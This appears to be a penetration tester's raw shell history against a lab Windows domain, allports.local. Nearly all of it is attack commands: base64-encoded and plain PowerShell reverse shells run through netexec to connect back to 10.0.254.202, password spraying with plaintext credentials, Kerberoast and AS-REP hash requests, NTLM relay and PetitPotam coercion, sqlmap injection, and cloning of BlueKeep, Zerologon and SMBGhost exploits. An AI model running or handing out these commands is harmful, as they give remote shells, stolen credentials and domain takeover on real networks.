nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEpOyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRlVG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyArICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUoKCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVuZ3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJlc3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k 'powershell -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEpOyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRlVG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyArICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUoKCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVuZ3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJlc3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEpOyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRlVG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyArICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUoKCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVuZ3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJlc3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell.exe -e cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzEwLjAuMjU0LjIwMicsIDkwMDEpOyROZXR3b3JrU3RyZWFtID0gJFRDUENsaWVudC5HZXRTdHJlYW0oKTskU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pO2Z1bmN0aW9uIFdyaXRlVG9TdHJlYW0gKCRTdHJpbmcpIHtbYnl0ZVtdXSRzY3JpcHQ6QnVmZmVyID0gMC4uJFRDUENsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZSB8ICUgezB9OyRTdHJlYW1Xcml0ZXIuV3JpdGUoJFN0cmluZyArICdTSEVMTD4gJyk7JFN0cmVhbVdyaXRlci5GbHVzaCgpfVdyaXRlVG9TdHJlYW0gJyc7d2hpbGUoKCRCeXRlc1JlYWQgPSAkTmV0d29ya1N0cmVhbS5SZWFkKCRCdWZmZXIsIDAsICRCdWZmZXIuTGVuZ3RoKSkgLWd0IDApIHskQ29tbWFuZCA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkQnl0ZXNSZWFkIC0gMSk7JE91dHB1dCA9IHRyeSB7SW52b2tlLUV4cHJlc3Npb24gJENvbW1hbmQgMj4mMSB8IE91dC1TdHJpbmd9IGNhdGNoIHskXyB8IE91dC1TdHJpbmd9V3JpdGVUb1N0cmVhbSAoJE91dHB1dCl9JFN0cmVhbVdyaXRlci5DbG9zZSgpIgo='
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -X '$client = New-Object System.Net.Sockets.TCPClient("10.0.254.202",9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell.exe -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgnMTAuMC4yNTQuMjAyJyw5OTk5KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAiLiB7ICRkYXRhIH0gMj4mMSIgfCBPdXQtU3RyaW5nICk7ICRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpCg=='
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell.exe -e JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgnMTAuMC4yNTQuMjAyJyw5OTk5KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAiLiB7ICRkYXRhIH0gMj4mMSIgfCBPdXQtU3RyaW5nICk7ICRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpCg=='
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -X 'powershell.exe -c $client = New-Object System.Net.Sockets.TCPClient('10.0.254.202',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'rdavos' -p 'rosdav50' -k --shares
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' -k --shares
smbclient \\10.0.1.21\Galley -U rdavis
smbclient \\\\10.0.1.21\\Galley -U rdavis
smbclient \\\\10.0.1.21\\Galley -U rdavis -k
klist
kinit
export KRB5CCNAME=rdavis.ccache
smbclient \\10.0.1.21\Galley -k -U rdavis
smbclient \\\\10.0.1.21\\Galley -k -U rdavis
smbclient -k -U rdavis //10.0.1.21/Galley
smbclient -k -U rdavis //10.0.1.21/Galley -I 10.0.1.21
smbclient -k -U rdavis //10.0.1.21/Galley -I 10.0.1.21 -no-pass
smbclient -k -U rdavis //10.0.1.21/Galley
smbclient -k -U rdavis //10.0.1.21/Galley
smbclient \\\\10.0.1.21\\Galley -k -U rdavis
smbclient -k \\\\10.0.1.21\\Galley -U rdavis
smbclient -k \\\\10.0.1.21\\Galley -U REDACTED_EMAIL -I 10.0.1.6
smbclient -k \\\\10.0.1.21\\Galley -U REDACTED_EMAIL -I 10.0.1.21
smbclient.py
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.21
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.20
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.21
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.21 -k
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.20 -k
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.21 -k --help
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.21 -k -no-pass
smbclient.py allports.local/rdavis:'rosdav50' -target-ip 10.0.1.21 -k -no-pass
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --shares
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.6
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.6 -target-ip 10.0.1.21
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.6 -target-ip 10.0.1.21 -k
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.6 -target-ip 10.0.1.21 -k -no-pass
nxc smb 10.0.1.21
StoreHostname
cat /etc/host
cat /etc/hosts
smbclient.py allports.local/rdavis:'rosdav50'@10.0.1.6 -target-ip DECKHAND-02 -k -no-pass
smbclient.py allports.local/rdavis:'rosdav50'@APT-DC-01 -target-ip DECKHAND-02 -k -no-pass
smbclient.py allports.local/svc_stabilize:'1gyroscope'@APT-DC-01 -target-ip DECKHAND-02 -k -no-pass
export KRB5CCNAME=svc_stabilize.ccache
smbclient.py allports.local/svc_stabilize:'1gyroscope'@APT-DC-01 -target-ip DECKHAND-02 -k -no-pass
smbclient.py -k -no-pass DECKHAND-02
ls
smbclient.py -k -no-pass DECKHAND-02
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_share
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -L | grep spider
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus
cd /home/pentester/.nxc/modules/nxc_spider_plus
ls
cat 10.0.1.21.json
cat 10.0.1.21.json | less
cd
cd ~/loot
cd ~/Loot
mkdir db
cd db
ls
smbclient.py -k -no-pass DECKHAND-02
export KRB5CCNAME=svc_stabilize.ccache
smbclient.py -k -no-pass DECKHAND-02
cp ~/Loot/svc_stabilize.ccache .
ls


_raw: : 1762641214:0;cd ItWasAllADream && poetry install && poetry shell


_raw: : 1762641201:0;git clone https://github.com/byt3bl33d3r/ItWasAllADream


_raw: : 1762641201:0;nxc smb windows -u svc_stabilize -p '1gyroscope' -k -M coerce_plus -o M=DFSCoerce L=10.0.254.201


_raw:
: 1762641161:0;mongofiles --localhost --port 27017 \\
-d LibreChat \\
  --username admin \\
  --password 'password' \\
  --authenticationDatabase admin \\
  get "All_Ports_Tours_Earnings_Report.xlsx"


_raw: : 1762641159:0;impacket-GetNPUsers allports.local/ -usersfile users2 -format hashcat -outputfile asrepout


_raw:
: 1762641146:0;echo 'bfinn\
lvega\
jporter\
ggonzalez1\
srogers\
rdavis\
osanders\
khill\
scampbell\
lpeterson\
' > users2


_raw:
: 1762641138:0;echo 'bfinn\
lvega\
jporter\
ggonzalez1\
srogers\
rdavis\
osanders\
khill\
scampbell\
lpeterson\
'


_raw:
gobuster help
gobuster dir -u 10.0.1.99 -w /wordlists/Discovery/Web-Content/directory-list-2.3-small.txt -t 4 --delay 1s -o results.txt
ls
ls ./


_raw: : 1762641002:0;nxc smb windows -u svc_stabilize -p '1gyroscope' -k -M coerce_plus -o M=Petitpotam L=10.0.254.201


_raw:
sf.py 10.0.1.6
spiderfoot
spiderfoot 10.0.1.6
spiderfoot -l 127.0.0.1:80
spiderfoot -l 127.0.0.1:8000


_raw: : 1762640988:0;nxc smb windows -u svc_stabilize -p '1gyroscope' -k -M Petitpotam -o L=10.0.254.201


_raw: : 1762640906:0;nxc smb windows -u svc_stabilize -p '1gyroscope' -k -M coerce_plus -o L=10.0.254.201


_raw: : 1762640893:0;mongofiles goexport --help


_raw: : 1762640881:0;git clone https://github.com/chompie1337/SMBGhost_RCE_PoC


_raw: : 1762640869:0;nxc smb 10.0.1.20 -u svc_stabilize -p '1gyroscope' -M coerce_plus --options


_raw: : 1762640863:0;nxc rdp 10.0.1.20 -u svc_stabilize -p '1gyroscope' -M coerce_plus --options


_raw: : 1762640852:0;nxc rdp 10.0.1.20 -u svc_stabilize -p '1gyroscope' -M coerce_plus -h


_raw: : 1762640849:0;nxc rdp 10.0.1.20 -u svc_stabilize -p '1gyroscope' -M coerce_plus -l


_raw:
clear
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
StoreCred
clear
cat creds.txt
cat ~/password.txt
clear
cat creds.txt
StoreCred
nano creds.txt
clear
cat creds.txt
cat ~/password.txt
ip a
clear
cat creds.txt
ip a
cat creds.txt
cat ~/password.txt
ls
ls | les
ls | less
cat Administrative_Tasks_Tracker.xlsx
clear
cat ~/WindowsNative/CredentialHunting.txt
ls
clear
sudo responder2 -I eth0
clear
sudo responder2 -I eth0
nxc smb 10.0.1.6 -u 'rdavis'
nxc smb windowshosts.txt -u 'rdavis'
nxc smb windowshosts.txt -u 'rdavis' -p ''
clear
exit


_raw: : 1762640769:0;mysql -h 10.0.1.99 -P 3306 -u admin -p password --ssl-verify-server-cert=0


_raw: : 1762640738:0;nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.0.1.20


_raw:
clear
rdesktop 10.0.1.6
enum4linux 10.0.1.6
rdesktop 10.0.1.6
rdesktop 10.0.1.20
rdesktop 10.0.1.6
mysql -u kkelly@10.0.1.6
rdesktop 10.0.1.6
ssh root@10.0.1.14
ssh root@10.0.1.15


_raw: : 1762640657:0;gobuster dir -u http://10.0.1.20:3389 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k


_raw: : 1762640641:0;gobuster dir -u https://10.0.1.20:3389 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k


_raw: : 1762640610:0;gobuster dir -u http://10.0.1.99:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1762640504:0;mongoexport gofiles --host 10.0.1.11 --port 27017 -d LibreChat --username admin --password 'password' get 'All_Ports_Tours_Earnings_Report.xlsx'


_raw: : 1762640496:0;nxc smb 10.0.1.6 -u 'd.rickson' -p 'IamTheCaptain'


_raw: : 1762640448:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin110'


_raw: : 1762640444:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin100'


_raw: : 1762640440:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin90'


_raw: : 1762640437:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin80'


_raw: : 1762640433:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin70'


_raw: : 1762640430:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin60'


_raw: : 1762640426:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin50'


_raw: : 1762640423:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin40'


_raw: : 1762640420:0;nxc rdp 10.0.1.20 -u svc_stabilize -p '1gyroscope' -X 'whoami' -k


_raw: : 1762640419:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin30'


_raw: : 1762640413:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin20'


_raw: : 1762640380:0;netexec smb 10.0.1.6 -u bfinn -d allports.local -p 'baifin10'


_raw: : 1762640325:0;netexec smb 10.0.1.6 -u rdavis -d allports.local -p 'rosdav50'


_raw: : 1762640228:0;mongofiles --host 10.0.1.11 --port 27017 -d LibreChat --username admin --password 'password' get 'All_Ports_Tours_Earnings_Report.xlsx'


_raw: : 1762640211:0;nxc rdp 10.0.1.6 -u guest -p 500-worst-passwords.txt


_raw: : 1762640123:0;nxc rdp 10.0.1.6 -u admin -p 500-worst-passwords.txt


_raw: : 1762640114:0;bzip2 -d 500-worst-passwords.txt.bz2


_raw: : 1762640114:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no root@10.0.1.99


_raw: : 1762640110:0;cp /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt.bz2 .


_raw: : 1762640105:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.99


_raw: : 1762640101:0;echo IamTheCaptain > passw.txt


_raw: : 1762640099:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.30


_raw: : 1762640091:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.15


_raw: : 1762640085:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.14


_raw: : 1762640078:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.11


_raw: : 1762640072:0;sshpass -p 'IamTheCaptain' ssh -o StrictHostKeyChecking=no admin@10.0.1.10


_raw: : 1762640070:0;rdesktop -r disk:share=/home/user/rdpshare 10.0.1.20


_raw: : 1762640066:0;mongofiles --host 10.0.1.11 --port 8081 -d LibreChat --username admin --password 'password' get 'All_Ports_Tours_Earnings_Report.xlsx'


_raw: : 1762640043:0;sshpass -pIamTheCaptain ssh root@10.0.1.99


_raw: : 1762640029:0;sshpass -pIamTheCaptain ssh root@10.0.1.30


_raw: : 1762640009:0;sshpass -pIamTheCaptain ssh root@10.0.1.15


_raw: : 1762639990:0;nxc smb 10.0.1.21 -u 'admin' -p 'IamTheCaptain' --local-auth


_raw: : 1762639943:0;nxc smb 10.0.1.20 -u 'admin' -p 'IamTheCaptain' --local-auth


_raw: : 1762639934:0;nxc smb 10.0.1.20 -u 'allports.local\admin' -p 'IamTheCaptain' --local-auth


_raw: : 1762639930:0;nxc smb 10.0.1.20 -u 'allports.local\admin' -p 'IamTheCaptain'


_raw: : 1762639919:0;nxc smb 10.0.1.6 -u 'allports.local\admin' -p 'IamTheCaptain'


_raw: : 1762639907:0;nxc smb 10.0.1.6 -u 'admin' -p 'IamTheCaptain' --continue-on-success


_raw: : 1762639895:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/service-accounts.txt


_raw: : 1762639830:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/johnsmith.txt -o kerb-results


_raw: : 1762639827:0;python3 ./linkfinder.py -i ../LINKS.txt


_raw: : 1762639815:0;./kerbrute_linux_amd64 userenum -d allports.local statistically-likely-usernames/jsmith.txt -o kerb-results


_raw: : 1762639805:0;python3 ./linkfinder.py -i ../LINKS.txt


_raw: : 1762639794:0;python3 -m pip install -r requirements.txt --break-system-packages


_raw: : 1762639788:0;python3 -m pip install -r requirements.txt


_raw: : 1762639786:0;python3 -m pip install -r re


_raw: : 1762639778:0;python3 ./linkfinder.py -i ../LINKS.txt


_raw: : 1762639774:0;python3 ./linkfinder.py -i ../LINK


_raw: : 1762639765:0;git clone https://github.com/GerbenJavado/LinkFinder.git


_raw: : 1762639751:0;nxc smb 10.0.1.6 -u users -p 'IamTheCaptain' --continue-on-success


_raw: : 1762639723:0;git clone https://github.com/SecuraBV/CVE-2020-1472.git


_raw: : 1762639714:0;nxc smb 10.0.1.20 -u 'Administrator' -p 'IamTheCaptain' --local-auth


_raw: : 1762639707:0;nxc smb 10.0.1.20 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762639701:0;nxc smb 10.0.1.6 -u 'Administrator' -p 'IamTheCaptain'


_raw: : 1762639693:0;nxc smb 10.0.1.6 -u users -p 'IamTheCaptain'


_raw: : 1762639623:0;sudo apt install python3-rdp


_raw: : 1762639620:0;sudo apt install python3-pyrdp


_raw: : 1762639611:0;git clone http://github.com/SecuraBV/CVE-202-1472


_raw: : 1762639603:0;git clone https://github.com/SecuraBV/CVE-202-1472


_raw: : 1762639601:0;git clone https://github.com/RICSecLab/CVE-2019-0708


_raw: : 1762639590:0;sqlmap http://penny.allports.local:3080/reset-password\?token\=4d2f1cd9bd762f2efd4b5bb375c88def577ae620d9849dd2cf55d7ca573c9f88\&userId\=690fbb4d4db2cff10115601a -p token, userID --level=3


_raw: : 1762639523:0;pip install -r requirements.txt


_raw:
skipfish -o 202 https://allports.tour/wordpress
skipfish -o 202 https://allports.tour/
skipfish -o 202 https://allports.tour
skipfish -o 202 https://chat.allports.tours/wordpress


_raw: : 1762639497:0;pip install -r requirements.txt


_raw: : 1762639489:0;git clone https://github.com/Ekultek/BlueKeep


_raw: john --wordlist=password.txt --rules passwd 10.0.1.6


_raw: : 1762639471:0;curl -v http://chat.allports.tours


_raw:
searchsploit jellyfin
searchsploit kestrel
searchsploit asp
searchsploit asp.net
searchsploit mysql


_raw: : 1762639462:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/Guest:''


_raw: : 1762639456:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/Guest


_raw: : 1762639451:0;impacket-GetUserSPNs -request -dc-ip 10.0.1.6 allports.local/Guest:


_raw: : 1762639421:0;ntlmrelayx.py  --remove-mic --delegate-access -smb2support


_raw:
sudo vim /etc/hosts
vim /etc/hosts
sudo vim /etc/hosts


_raw: : 1762639383:0;sqlmap -u  http://10.0.1.11/forgot-password --data="email=REDACTED_EMAIL" --level=3


_raw: : 1762639369:0;sqlmap -u  http://10.0.1.11/forgot-password --data="email=REDACTED_EMAIL" -v


_raw: : 1762639341:0;ntlmrelayx.py -t ldaps://APT-DC-01.allports.local --remove-mic --delegate-access -smb2support


_raw: : 1762639335:0;ntlmrelayx.py -t ldapS://APT-DC-01.allports.local --remove-mic --delegate-access -smb2support


_raw: : 1762639319:0;ntlmrelayx.py -t ldap://APT-DC-01.allports.local --remove-mic --delegate-access -smb2support


_raw: : 1762639309:0;python3 ntlmrelayx.py -t ldap://APT-DC-01.allports.local --remove-mic --delegate-access -smb2support


_raw: : 1762639206:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 2 --exclude-length 4831


_raw:
bloodhound -h
sudo bloodhound-setup
bloodhound
ls /etc/bloodhound
sharphound


_raw:
pingcastle
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.20
cd
ls /usr/share/nmap/scripts | grep msrpc
nmap -p 135 --script=msrpc-enum 10.0.1.20
vi /usr/share/nmap/scripts
vi /usr/share/nmap/scripts/msrpc-enum.nse
nmap -p 135 --script=msrpc-enum 10.0.1.20
nmap -p 1315 --script=msrpc-enum 10.0.1.20
rpcclient --help
rpcclient -U "" -N 10.0.1.6
rpcclient -U "" -N 10.0.1.20
rpcclient -U "guets" -N 10.0.1.20
rpcclient -U "guest" -N 10.0.1.20
rpcclient -U "g" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.6


_raw:
dig chat.allports.tours
nxc --help
nxc ldap --help
nxc ldap --users 10.0.1.6
nxc ldap --users  ''10.0.1.6
nxc ldap --users  '' 10.0.1.6
nxc ldap --admin-count 10.0.1.6
nxc ldap --computers 10.0.1.6
nxc ldap --bloodhound 10.0.1.6
nxc ldap --bloodhound -d APT 10.0.1.6
nxc ldap --bloodhound -d allports.local 10.0.1.6
nxc smb --shares 10.0.1.20
nxc smb --shares 10.0.1.21
nxc smb --shares 10.0.1.6
nxc -h
nxc winrm --help
nxc winrm -x dir 10.0.1.6
nxc winrm 10.0.1.6
nxc winrm 10.0.1.6 -X dir
nxc winrm 10.0.1.20
nxc winrm 10.0.1.20 -X dir
nxc smb 10.0.1.20 -X dir
smbmap -h
smbmap -u '' -p '' -d APT -H 10.0.1.6
smbmap -u '' -p '' -d APT -H 10.0.1.20
smbmap -u '' -p '' -H 10.0.1.20
smbmap -u '' -p '' -H 10.0.1.20 -x dir
smbclient -N //10.0.1.6/tmp
smbclient -N //10.0.1.6/c$
smbclient -N //10.0.1.6/admin$
smbclient -N //10.0.1.6/config


_raw: : 1762639142:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762639134:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762639131:0;nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.0.1.21


_raw: : 1762639058:0;sqlmap -u 10.0.1.11/login -p email, password --level=3


_raw: : 1762639055:0;nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 10.0.1.20


